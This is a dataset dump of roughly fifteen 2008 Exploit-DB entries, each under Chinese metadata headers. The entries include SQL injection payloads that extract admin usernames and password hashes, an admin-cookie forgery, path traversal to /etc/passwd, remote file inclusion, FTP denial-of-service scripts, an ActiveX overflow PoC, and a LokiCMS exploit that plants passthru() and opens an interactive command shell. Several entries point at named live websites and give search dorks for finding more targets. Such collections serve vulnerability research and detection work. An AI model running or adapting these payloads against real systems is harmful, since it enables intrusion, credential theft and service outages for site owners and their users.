QLWD/code_shield huggingface dataset:
标题: PokerMax Poker League 0.13 - Insecure Cookie Handling EDB-ID: 6766 CVE: 2008-4600 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-16 漏洞利用脚本: **************************************************************************************

Author : DaRkLiFe
Greetz : str0ke & S.W.A.T. & funkys0ul

**************************************************************************************
Script   :

PokerMax Poker League Insecure Cookie Handling Vulnerability

Download:

http://www.stevedawson.com/downloads/pokerleague.zip
**************************************************************************************

Exploit :

javascript:document.cookie = "ValidUserAdmin=admin";

**here "admin" refers to username of administrator on site

default username is "admin" given after installation of site

but if it is changed u can easily find out username of admin and then 
substitute it in place of "admin"
**************************************************************************************

Instructions :

Find the site running on this script .

Go to http://site.com/pokerleague/pokeradmin/configure.php

It will ask for login. Now in url tab run the exploit command

Then return back to http://site.com/pokerleague/pokeradmin/configure.php

Now u should be loggedin as admin and change the thing into what you want .

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************

# milw0rm.com [2008-10-16] URL: https://www.exploit-db.com/exploits/6766
标题: IP Reg 0.4 - Multiple SQL Injections EDB-ID: 6765 CVE: 2008-4606 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-16 漏洞利用脚本: # IP Reg <= 0.4 Multiple Remote SQL Injection Vulnerabilities
# url: http://sourceforge.net/projects/ipreg/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

-------------------------

vuln file: /locationdel.php
vuln code:
27: $location_id = $_GET['location_id'];
xx: ...
42: $result = mysql_query("SELECT location_name FROM location WHERE location_id='$location_id'") or die(mysql_error());

PoC:     /locationdel.php?location_id='[foo]
Exploit: /locationdel.php?location_id='+union+all+select+concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlanview.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_name, vlan_number, vlan_info FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlanview.php?vlan_id='[foo]
Exploit: /vlanview.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlanedit.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_name, vlan_number, vlan_info FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlanedit.php?vlan_id='[foo]
Exploit: /vlanedit.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

-------------------------

vuln file: /vlandel.php
vuln code:
27: $vlan_id = $_GET['vlan_id'];
xx: ...
42: $result = mysql_query("SELECT vlan_id, vlan_name, vlan_number FROM vlan WHERE vlan_id='$vlan_id'") or die(mysql_error
    ());

PoC:     /vlandel.php?vlan_id='[foo]
Exploit: /vlandel.php?vlan_id='+union+all+select+1,1,concat(user_name,char(58),user_pass)+from+user/*

# milw0rm.com [2008-10-16] URL: https://www.exploit-db.com/exploits/6765
标题: Mosaic Commerce - 'cid' SQL Injection EDB-ID: 6763 CVE: 2008-4599 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-16 漏洞利用脚本: Mosaic Commerce SQL Injection Vulnerability
Discovered By Ali Abbasi[abbasi[At]ustmb.ac.ir]
Mazandaran University Of Science And Technology
Network Security Research Center
Babol, Iran
http://cyber-defence.com
Greetz For All Persian Bugtraq Members ( www.bugtraq.ir )
 
 
  {SQL BUG}
  /mosaic-path/category.php?cid=[SQL]
 
  Exploit For Get Admin Username And Password Hash:
  category.php?cid=-12/**/union/**/select/**/1,concat(users_name,0x3a,users_password),3/**/from/**/users/*
 

Example:

http://www.coppermax.com/category.php?cid=-12/**/union/**/select/**/1,concat(users_name,0x3a,users_password),3/**/from/**/users/*

# milw0rm.com [2008-10-16] URL: https://www.exploit-db.com/exploits/6763
标题: Hummingbird 13.0 - ActiveX Remote Buffer Overflow (PoC) EDB-ID: 6761 CVE: 2008-4729 类型: DOS 平台: WINDOWS 发布日期: 2008-10-16 漏洞利用脚本: <html>

<!--

the latest version of this activex (13.0) is compiled with /gs,  earlier versions aren't.
The XXXX would have overwritten return address.
by thomas.pollet@gmail.com

-->

<object classid='clsid:FFB6CC68-702D-4FE2-A8E7-4DE23835F0D2' id='target' ></object>
<script language='vbscript'>
arg1="001101220123012401250126012701280129012:012;012<012=012>012?012@012A012B012C012D012E012FXXXX"
target.PlainTextPassword = arg1

</script>
</html>


# milw0rm.com [2008-10-16] URL: https://www.exploit-db.com/exploits/6761
标题: Microsoft Windows XP/2003 - 'afd.sys' Local Privilege Escalation (K-plugin) (MS08-066) EDB-ID: 6757 CVE: 2008-3464 类型: LOCAL 平台: WINDOWS 发布日期: 2008-10-15 漏洞利用脚本: Hi,

I have just uploaded a k-plugin for Kartoffel, which exploits a flaw
patched in the recent MS08-066 bulletin.

http://kartoffel.reversemode.com/downloads.php
backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6757.zip (2008-afd_plugin.zip)


For those researchers interesting in digging a little bit more into this
flaw, just take a look at afd!AfdGetRemoteAddress and/or check this out

http://blogs.technet.com/swi/archive/2008/10/14/ms08-066-how-to-correctly-validate-and-capture-user-mode-data.aspx

Regards,
RubÃ©n.

# milw0rm.com [2008-10-15] URL: https://www.exploit-db.com/exploits/6757
标题: mystats - 'hits.php' Multiple Vulnerabilities EDB-ID: 6759 CVE: 2008-4644 2008-4643 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-15 漏洞利用脚本: # myStats (hits.php) Multiple Remote Vulnerabilities Exploit
# url: http://mywebland.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

---------------------
Break System Block IP
---------------------

<<hits.php>>

7: if (@getenv("HTTP_X_FORWARDED_FOR")) 

   { $u_ip = @getenv("HTTP_X_FORWARDED_FOR"); } 

   else { $u_ip = @getenv("REMOTE_ADDR"); } 



   if ($u_ip == BLOCK_IP) 

    { return 1; 

13:  exit; } 

<<config.php>>

11: define("BLOCK_IP", "127.0.0.1"); 

<<exploit.pl>>

use HTTP::Request;
use LWP::UserAgent;

my $web="http://localhost/hits.php";
my $ua=LWP::UserAgent->new();
$ua->default_header('X-Forwarded-For' => "127.1.1.1");
my $respuesta=HTTP::Request->new(GET=>$web);
$ua->timeout(30);
my $response=$ua->request($respuesta);
$contenido=$response->content;
if ($response->is_success)
{
open(FILE,">>results.txt");
print FILE "$contenido\n";
close(FILE);
print "\n[+] Exploit Succesful!\n\n";
}
else
{
print "\n[-] Exploit Failed!\n\n";
}

<<proof of concept>>

$ua->default_header('X-Forwarded-For' => "127.1.1.1"); --> BREAK BLOCK_IP

-------------
SQL Injection
-------------

<<hits.php>>

63: if (isset($_GET['sortby']))

    {$sortby = $_GET['sortby'];}

    else

    { $sortby =  'timestamp' ;}


    $sql = "SELECT * FROM " . LOG_TBL . " ORDER BY " . $sortby." DESC LIMIT 0, ". DISPLAY_LOG_NO ;

69: $querylog = mysql_query($sql) or die("Line 117 Cannot query the database.<br>" . mysql_error());

<<exploit.pl>>

use HTTP::Request;
use LWP::UserAgent;

my $web="http://localhost/hits.php?sortby=1'";
my $ua=LWP::UserAgent->new();
my $respuesta=HTTP::Request->new(GET=>$web);
$ua->timeout(30);
my $response=$ua->request($respuesta);
$contenido=$response->content;
if ($response->is_success)
{
if($contenido =~ /You have an error in your SQL syntax;/)
{
print "\n[+] Exploit Succesful!\n";
print "\n[+] Content:\n";
print "$contenido\n\n";
}
}
else
{
print "\n[-] Exploit Failed!\n\n";
}

# milw0rm.com [2008-10-15] URL: https://www.exploit-db.com/exploits/6759
标题: myEvent 1.6 - 'eventdate' SQL Injection EDB-ID: 6760 CVE: 2008-4650 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-15 漏洞利用脚本: # myEvent 1.6 (viewevent.php) Remote SQL Injection Vulnerability
# url: http://mywebland.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website

vuln file: /viewevent.php
vuln code:
43: if (isset($_GET['eventdate']))
xx: ...
93: $sql = "SELECT  * FROM event WHERE  date = '$eventdate'" ;

94: $results = mysql_query($sql) or die("Cannot query the database.<br>" . mysql_error());

95: $event  = mysql_num_rows($results);

PoC:     /viewevent.php?eventdate='[foo]
Exploit: /viewevent.php?eventdate='+union+all+select+1,1,concat(user(),char(32,35),database(),char(32,35),version())/*

# milw0rm.com [2008-10-15] URL: https://www.exploit-db.com/exploits/6760
标题: My PHP Dating - 'id' SQL Injection EDB-ID: 6754 CVE: 2008-4705 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-14 漏洞利用脚本: ###############################################################################################
 _____    ____   __  ___    ______   ______       |   ____   _____     _____
|        / ___|  \ \ / /   / ____|  /      |      |  |      |  _  \   |
|_____  | |  _    \ V /    | |      |      |   ___|  |_____ | |_)  |  |_____
|       | |_ ||    | |     | |____  |      |  |   |  |      |   _  |        |
|_____   \____|    |_|      \_____|  \_____/  |___|  |____  |__| \_\  ______|

# Author : Hakxer
# Home : Www.educ-up.com
# Type Gap : Sq1 inj3ct1on
# script : PHP MY DATING [see script] http://www.phponlinedatingsoftware.com/demo.htm
# Greetz : Allah , Egyptian x Hacker , Soufiane , Sinaritx , SQL_inj4ct0r , Stealth , Kof2002 ,Bright D@rk , Thrid Devil
# Team : EgY Coders 
#################################################################################################
####### [+] Bug in : success_story.php
## Dork : " Developed by Infoware Solutions "
### POC
      http://www.site.com/success_story.php?id=-2+union+select+1,2,concat(@@version,0x3e,database())--
   
### Exploit iN L!ve Script 
#   [+] Get Version & Database Name [~]
#          http://www.phponlinedatingsoftware.com/demo/success_story.php?id=-2+union+select+1,2,concat(@@version,0x3e,database())--
#   [+] Get ID&Pass [~] 
#          http://www.phponlinedatingsoftware.com/demo/success_story.php?id=-2+union+select+1,2,concat(m_pass,0x3e,admin_id)+from+infowar1_cms.baq_admin--

# [+] HaVe Fun .. ^_^ ;


###############################################################################

-------------------------------- The End of Gap -----------------------------------

## Contact : aq5@windowslive.com
### Muslim Hacker .. I love you Mohammed Rasull Allah 
######################################################

# milw0rm.com [2008-10-14] URL: https://www.exploit-db.com/exploits/6754
标题: AstroSPACES 1.1.1 - 'id' SQL Injection EDB-ID: 6758 CVE: 2008-4642 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-15 漏洞利用脚本: # AstroSPACES (profile.php) SQL

  Powered by Philippine Website Developers and AstroSPACES Â© P3NET 2006-2007
#########################################################################
#
# AUTHOR : TurkishWarriorr  (Sehitler Ã–lmez Vatan BÃ¶lÃ¼nmez ....)
#
# HOME : http://www.1923turk.org
#
#########################################################################
#
# DORK : Powered By AstroSPACES
#
##########################################################################
EXPLOIT :

profile.php?action=view&id=160+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+users--


test sites:

http://quirino.com.ph/friendster/profile.php?action=view&id=160+AND+1=0+UNION+SELECT+ALL+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+users--


E mail login :

http://quirino.com.ph/friendster/space.php?action=memberlist

##########################################################################
                               www.1923turk.org                    
                        turkish-warriorr@hotmail.com

# milw0rm.com [2008-10-15] URL: https://www.exploit-db.com/exploits/6758
标题: Eserv 3.x - FTP Server (ABOR) Remote Stack Overflow (PoC) EDB-ID: 6752 CVE: 2008-4588 类型: DOS 平台: WINDOWS 发布日期: 2008-10-14 漏洞利用脚本: #!/usr/bin/perl
#
# Eserv/3.x FTP Server (ABOR) Remote Stack Overflow PoC
#
# Summary: Eserv/3.x - Mail, News, Web and Proxy Servers - Mail
# Server (SMTP, IMAP4 and POP3) - News Server (NNTP) - Web Server
# (HTTP) - FTP Server - Proxy Servers (HTTP, FTP, Socks, etc) - Finger
# Server - Built-in scheduler and dialer.
#
# Product web page: http://www.eserv.ru/ | www.etype.net/eserv/
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail.com
#
# http://www.zeroscience.org
#
# 14.10.2008
#

use Net::FTP;

$ipaddr = "127.0.0.1";
$mana = "..?" x 13000;
$user = "admin";
$pass = "nimda";
$port = 21;

$ftp = Net::FTP->new("$ipaddr", Debug => 0) || die "Cannot connect to $ipaddr on port $port: $@";
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;

$ftp->abor($mana);

$ftp->quit;

print "\nDone!\n";

# milw0rm.com [2008-10-14] URL: https://www.exploit-db.com/exploits/6752
标题: Titan FTP Server 6.26 build 630 - Remote Denial of Service EDB-ID: 6753 CVE: 2008-6082 类型: DOS 平台: WINDOWS 发布日期: 2008-10-14 漏洞利用脚本: # Titan FTP server v6.26 build 630 remote DoS exploit
# Titan FTP URL - http://www.titanftp.com/
# DoS'ed on "SITE WHO" command
# (x)dmnt
# -*- coding: windows-1252 -*-

import socket
import sys

def help_info():
    print ("Usage: titand0s <host> <login> <password>\n")
    print ("Note: anonymous is enought\n")

def dos_it(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
    sock.send("SITE WHO\r\n")
    sock.close()
    print "[0] Now server d0s'ed"

print ("\n]Titan FTP server v6.26 build 630 remote DoS exploit[")
print ("](x)dmnt 2008[\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    dos_it(hostname,username,passwd)
    sys.exit(0)

# milw0rm.com [2008-10-14] URL: https://www.exploit-db.com/exploits/6753
标题: SezHoo 0.1 - Remote File Inclusion EDB-ID: 6751 CVE: 2008-4704 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-14 漏洞利用脚本: **************************************************************************************

Author : DaRkLiFe
Greetz : str0ke & S.W.A.T. & funkys0ul

**************************************************************************************
Script   :

SezHoo 0.1 Remote File Inclusion Vulnerability

Download:

http://downloads.sourceforge.net/sezhoo/sezhoo.tar.gz?modtime=1220554562&big_mirror=0

**************************************************************************************

Exploit :

http://site.com/sezhoo/SezHooTabsAndActions.php?IP=Sh3lLz?

**************************************************************************************

Vulnerable : line 21 : require_once( "$IP/includes/Defines.php" );

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************

# milw0rm.com [2008-10-14] URL: https://www.exploit-db.com/exploits/6751
标题: My PHP Indexer 1.0 - 'index.php' Local File Download EDB-ID: 6740 CVE: 2008-6183 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-12 漏洞利用脚本: # My PHP Indexer 1.0 (index.php) Local File Download Vulnerability
# url: http://sourceforge.net/projects/myphpindexer/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

-----------------------------------------------
Depending the server configuration is possible 
that it doesn't allow us to scale directories.
-----------------------------------------------

vuln file: index.php

PoC:     /index.php?d=[DIR]&f=[FILE]
Exploit: /index.php?d=../../../../../../../../../../../etc/&f=passwd
         /index.php?d=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/&f=passwd

live demo:
[PATH] = ../../../; (%2e%2e%2f%2e%2e%2f%2e%2e%2f)
[FILE] = index.php;
http://www.bethesda.org.sg/resources/admin/index.php?d=%2e%2e%2f%2e%2e%2f%2e%2e%2f&f=index.php

dork:     "Powered by My PHP Indexer 1.0"
dork (2): "priv8 :P"

# milw0rm.com [2008-10-12] URL: https://www.exploit-db.com/exploits/6740
标题: IndexScript 3.0 - 'parent_id' SQL Injection EDB-ID: 6746 CVE: 2008-6179 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-13 漏洞利用脚本: [~]-------------------------------------------------------------------------------------------------------------
[~] IndexScript v 3.0 [sug_cat.php?parent_id] - SQL injection Vulnerability
[~]
[~] http://www.indexscript.com/download.php
[~]    
[~] [IndexScript is a feature-rich and yet easy-to-use directory script that you can install for immediate use.]
[~] ------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l   [Avram Marius]
[~]
[~] Date: 12.10.2008
[~]
[~]
[~] d3v1l@spoofer.com    http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] Pentest| Gibon| Pig       AND      milw0rm staff
[~]-------------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/sug_cat.php?parent_id=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())--
[~]
[~] http://site.com/sug_cat.php?parent_id=-1 UNION ALL SELECT login,password FROM dir_login--
[~]
[~] http://site.com/sug_cat.php?parent_id=-1 UNION ALL SELECT name,email FROM dir_pend_cat--
[~]
[~] Example :-
[~]
[~] http://spaceho.com/sug_cat.php?parent_id=SQL
[~]-------------------------------------------------------------------------------------------------------------
[~] btw; on some sites you need to encript your injection like [-1 UNION SELECT aes_decrypt(aes_encrypt(concat]
[~]-------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-10-13] URL: https://www.exploit-db.com/exploits/6746
标题: LokiCMS 0.3.4 - 'writeconfig()' Remote Command Execution EDB-ID: 6743 CVE: 2008-6643 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-13 漏洞利用脚本: # Author:    __GiReX__ 
# Homepage:  http://girex.altervista.org

# CMS:       LokiCMS 0.3.4
# URL:       http://www.lokicms.com/

# Description:  LokiCMS is still vulnerable to Remote Command Execution (see: http://milw0rm.com/exploits/5408)
# The exploit changed becouse the vars changed but the bugged function is the same: writeconfig()
# LokiCMS does not check the access to admin.php via POST...

#!/usr/bin/perl -w
# LokiCMS <= 0.3.4 Remote Command Execution Exploit
# Needs with magic_quotes_gpc = Off
# Coded by __GiReX__

use LWP::UserAgent;

if(not defined $ARGV[0])
{
     banner();
     print "[-] Usage: perl $0 [host] [path]\n";
     print "[-] Example: perl $0 localhost /lokicms/\n\n";
     exit;
}

my $lwp = new LWP::UserAgent or die;
 
my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];
   $target .= '/' unless $target =~ /^http:\/\/(.?)\/$/;

banner();
my $res = $lwp->post($target.'admin.php', 
                                [ 'LokiACTION' =>  'A_SAVE_G_SETTINGS',
                                  'title'      =>  "';echo \"<!-- INFECTED -->\";if(strlen(\$_SERVER['HTTP_CMD']))".
                                                   "passthru(\$_SERVER['HTTP_CMD']);//", 
                                  'language'   =>  'english-utf-8',
                                  'theme'      =>  'default' ]);

if($res->is_error)
{
    print "[-] Request mistake. Exploit terminated!\n";
    exit ();
}
         
while(1)
{
    print "[+] shell:~\$ ";
    chomp($cmd = <STDIN>);
    last if $cmd eq 'exit';
     
    $lwp->default_header( 'CMD' => $cmd );
    my $res = $lwp->get($target.'includes/Config.php');
  
    if($res->is_success and $res->content =~ /INFECTED/)
    {
        print "\n". substr($res->content, index($res->content, 'INFECTED') + 12)."\n";
    }
    else
    {
        print "[-] PHP Code not injected. maybe magic_quotes_gpc = On!\n";
        last;
    }
}

sub banner
{
     print "[+] LokiCMS 0.3.4 Remote Command Execution Exploit\n";
     print "[+] Coded by __GiReX__\n";
     print "\n";
}

# milw0rm.com [2008-10-13] URL: https://www.exploit-db.com/exploits/6743
标题: RaidenFTPd 2.4 build 3620 - Remote Denial of Service EDB-ID: 6742 CVE: 2008-6186 类型: DOS 平台: WINDOWS 发布日期: 2008-10-13 漏洞利用脚本: # RaidenFTPD V2.4 build 3620 exploit
# probaly heap overflow
#
# (x)dmnt 2008
# -*- coding: windows-1252 -*-

import socket
import sys, time

evil_cwd = "/"+"\x22"*255
evil_dir = "X"*505

def help_info():
    print ("Usage: ShaoKahn <host> <login> <password>\n")
    print ("Note: anonymous is enought")

def dos_it(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(2048)
    print "[+] Connected"
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    time.sleep(3)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
    time.sleep(3)
    sock.send("cwd %s\r\n" %evil_cwd)
    r=sock.recv(1024)
    time.sleep(3)
    sock.send("mlst %s\r\n" %evil_dir)
    r=sock.recv(1024)
    time.sleep(3)
    sock.close()
    print "[:)] Now server d0s'ed/heap corrupted"

print ("\n]RaidenFTPD V2.4 build 3620 remote DoS exploit")
print ("](x)dmnt 2008\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    dos_it(hostname,username,passwd)
    sys.exit(0)

# milw0rm.com [2008-10-13] URL: https://www.exploit-db.com/exploits/6742